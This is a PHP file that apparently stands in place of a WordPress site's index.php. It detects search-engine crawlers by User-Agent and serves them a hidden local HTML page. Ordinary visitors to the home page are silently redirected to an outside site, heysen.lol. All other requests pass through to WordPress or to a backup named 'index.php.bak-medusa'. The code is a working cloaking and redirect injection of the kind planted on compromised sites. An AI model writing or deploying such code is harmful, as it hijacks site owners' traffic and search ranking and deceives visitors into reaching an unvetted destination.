<?php
error_reporting(0);@ini_set('display_errors','0');
header('Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');header('Vary: User-Agent');
$ua=isset($_SERVER['HTTP_USER_AGENT'])?(string)$_SERVER['HTTP_USER_AGENT']:'';
$uri=isset($_SERVER['REQUEST_URI'])?(string)$_SERVER['REQUEST_URI']:'/';
$path=parse_url($uri,PHP_URL_PATH);if(!is_string($path)||$path==='')$path='/';
$home=($path==='/'||strcasecmp($path,'/index.php')===0||strcasecmp($path,'/ms-home-gate.php')===0);
$bot=(bool)preg_match('/googlebot|googleother|google-|adsbot-google|mediapartners-google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|applebot|bytespider/i',$ua);
if($home&&$bot&&is_file(__DIR__.'/license.html')){header('Content-Type: text/html; charset=UTF-8');readfile(__DIR__.'/license.html');exit;}
if($home&&$bot&&is_file(__DIR__.'/_lic.html')){header('Content-Type: text/html; charset=UTF-8');readfile(__DIR__.'/_lic.html');exit;}
if($home&&!$bot){header('Location: https://heysen.lol/',true,302);exit;}
$wp=__DIR__.'/wp-blog-header.php';if(is_file($wp)){if(!defined('WP_USE_THEMES'))define('WP_USE_THEMES',true);require $wp;exit;}
$bak=__DIR__.'/index.php.bak-medusa';if(is_file($bak)){require $bak;exit;}
http_response_code(503);exit;
